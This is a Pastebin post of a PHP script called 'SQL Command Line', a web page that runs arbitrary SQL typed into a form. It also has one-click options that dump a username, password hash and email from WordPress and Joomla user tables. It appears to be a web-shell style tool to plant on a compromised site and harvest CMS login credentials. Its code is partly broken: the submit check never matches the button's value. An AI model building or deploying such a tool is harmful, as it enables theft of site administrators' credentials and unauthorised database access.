Advertisement
Guest User

sql command line

a guest
Feb 17th, 2014
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.56 KB | None | 0 0
  1. <?php
  2.  
  3. echo "
  4. <style>
  5. body {
  6. background: green;
  7. color : white;
  8. font-size: 18px;
  9. font-style: italic;
  10. font-family: tahoma;
  11.  
  12. }
  13.  
  14.  
  15. </style>
  16. ";
  17. echo "<center><h1>SQL Command Line</h1></center>";
  18.  
  19. echo "
  20. <title>SQL cmd</title>
  21. <body bgcolor='yellow' >
  22. <center><form action='#' method='post'>
  23. Host : <input type='text' name='host' value='localhost' /><br />
  24. Username : <input type='text' name='user' /> <br />
  25. Password : <input type='text' name='pass' /><br />
  26. db name : <input type='text' name='na' /><br />
  27. Command : <input type='text' name='do' /><br />
  28. <select name='get'>
  29. <option value='wp'>Get Wordpress Information</option>
  30. <option value='joom'>Get Joomla Information</option>
  31. </select><br />
  32. <input type='submit' value='start' name='d' /><br />
  33. </form>
  34. </center>
  35. </body>
  36. ";
  37.  
  38. $u = $_POST['user'];
  39. $p = $_POST['pass'];
  40. $n = $_POST['na'];
  41. $c = $_POST['do'];
  42.  
  43. $con = mysql_connect("localhost",$u,$p);
  44. mysql_select_db($n);
  45.  
  46.  
  47. if(isset($_POST['d']) && $_POST['d'] == 'do')
  48. {
  49. if($con){
  50. $q = mysql_query($c);
  51. }
  52.  
  53. echo "<center><h2>Done !! </h2></center>";
  54. echo "<center>
  55. <h4>
  56. <hr />
  57. No Feel &copy; 2014 <br />
  58. </h4>
  59. </center>";
  60.  
  61. }
  62.  
  63. // wordpress information block :)
  64.  
  65. $get = $_POST['get']; // get select value :)
  66.  
  67. if ($get == 'wp') {
  68. # code...
  69. $qu = mysql_query("SELECT * FROM wp_users");
  70. $g = mysql_fetch_assoc($qu);
  71.  
  72. //print_r($g);
  73. $id = $g['ID'];
  74. $user = $g['user_login'];
  75. $pass = $g['user_pass'];
  76. $email = $g['user_email'];
  77.  
  78. echo "
  79. <center>
  80. ~ wordpress info ~
  81. <table width='50%' border='2'>
  82. <tr>>
  83. <td>id : ".$id."</td>
  84. <td>Username : ".$user."</td>
  85.  
  86.  
  87. </tr>
  88. <tr>
  89. <td colspan='2'>password : ".$pass."</td>
  90. </tr>
  91. <tr>
  92. <td>E-Mail : ".$email."</td>
  93. </tr>
  94. </table>
  95. </center>
  96. ";
  97.  
  98. echo "<center>
  99. <h4>
  100. <hr />
  101. No Feel &copy; 2014 <br />
  102. </h4>
  103. </center>";
  104. }
  105.  
  106. // joomla information block :)
  107.  
  108. if ($get == 'joom') {
  109. # code...
  110. $qa = mysql_query("SELECT * FROM jos_users");
  111. $jget = mysql_fetch_assoc($qa);
  112. $jid = $jget['id'];
  113. $jusr = $jget['username'];
  114. $jps = $jget['password'];
  115. $jemail = $jget['email'];
  116. echo "
  117. <center>
  118. ~ joomla info ~
  119. <table width='50%' border='2'>
  120. <tr>>
  121. <td>id : ".$jid."</td>
  122. <td>Username : ".$jusr."</td>
  123.  
  124.  
  125. </tr>
  126. <tr>
  127. <td colspan='2'>password : ".$jps."</td>
  128. </tr>
  129. <tr>
  130. <td>E-Mail : ".$jemail."</td>
  131. </tr>
  132. </table>
  133. </center>
  134.  
  135. ";
  136. echo "<center>
  137. <h4>
  138. <hr />
  139. No Feel &copy; 2014 <br />
  140. </h4>
  141. </center>";
  142.  
  143. }
  144.  
  145.  
  146.  
  147.  
  148. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement